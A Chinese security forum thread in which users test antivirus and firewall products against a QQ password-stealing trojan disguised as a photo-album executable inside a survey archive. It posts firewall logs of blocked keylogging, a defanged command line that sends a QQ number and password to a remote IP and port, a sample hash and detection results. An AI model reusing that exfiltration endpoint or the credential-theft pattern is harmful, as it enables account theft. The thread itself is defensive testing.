某个群找到的QQ粘虫。看看谁能防得住

skycai

费尔目前无能为力

hddu

2013-04-27 10:53:35    键盘记录      操作:阻止
进程路径:F:\virus\精油美容护肤调查表\我的影集.EXE

触发规则:所有程序规则->*


2013-04-27 10:53:36    键盘记录      操作:阻止
进程路径:F:\virus\精油美容护肤调查表\我的影集.EXE

触发规则:所有程序规则->*


2013-04-27 10:53:36    键盘记录      操作:阻止
进程路径:F:\virus\精油美容护肤调查表\我的影集.EXE

触发规则:所有程序规则->*


2013-04-27 10:53:36    键盘记录      操作:阻止
进程路径:F:\virus\精油美容护肤调查表\我的影集.EXE

触发规则:所有程序规则->*


2013-04-27 10:53:36    键盘记录      操作:阻止
进程路径:F:\virus\精油美容护肤调查表\我的影集.EXE

触发规则:所有程序规则->*


2013-04-27 10:53:37    键盘记录      操作:阻止
进程路径:F:\virus\精油美容护肤调查表\我的影集.EXE

触发规则:所有程序规则->*


2013-04-27 10:53:37    键盘记录      操作:阻止
进程路径:F:\virus\精油美容护肤调查表\我的影集.EXE

触发规则:所有程序规则->*


2013-04-27 10:53:37    键盘记录      操作:阻止
进程路径:F:\virus\精油美容护肤调查表\我的影集.EXE

触发规则:所有程序规则->*


2013-04-27 10:53:37    键盘记录      操作:阻止
进程路径:F:\virus\精油美容护肤调查表\我的影集.EXE

触发规则:所有程序规则->*


2013-04-27 10:53:40    运行应用程序      操作:阻止并结束进程
进程路径:F:\virus\精油美容护肤调查表\我的影集.EXE
文件路径:C:\Program Files\Internet Explorer\IEXPLORE.EXE
命令行:hxxp://192.74.229.134:6565/cccccccc.asp?1=2808536354&2=123456789&3=vvv
触发规则:应用程序规则->假冒QQ登录窗口->*->%ProgramFiles%\Internet Explorer\iexplore.exe

llcy

双击后退出

曹亮亮

哈哈，新毒霸胜，哎呀妈呀，360入库的速度奇快，刚才还没有报毒，我又扫描一遍，接着报毒了

skycai

llcy 发表于 2013-4-27 10:50
双击后退出

等下会看到QQ窗口的吧。
顺便发个多引擎连接：https://www.virustotal.com/en/fi ... nalysis/1367030981/

SHA256:        53987ff9c6d7ad32a15a97fbf2d96418804a8c69be3856ea5a556e14890d3c52
File name:        精油美容护肤调查表.rar
Detection ratio:         1 / 46
Analysis date:         2013-04-27 02:49:41 UTC ( 0 minutes ago )

目前确实就金山一家报了~~

jiexp

360杀毒和BD和小红伞引擎都杯具了.扫描不出!

---

Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0  (zh-CN)
——2013年4月27日 10:52:28

llcy

8yuedeshi

电脑管家。over

dreams521

TO 360sd

huicuan

jiexp 发表于 2013-4-27 10:52
360杀毒和BD和小红伞引擎都杯具了.扫描不出!

双击测试下啊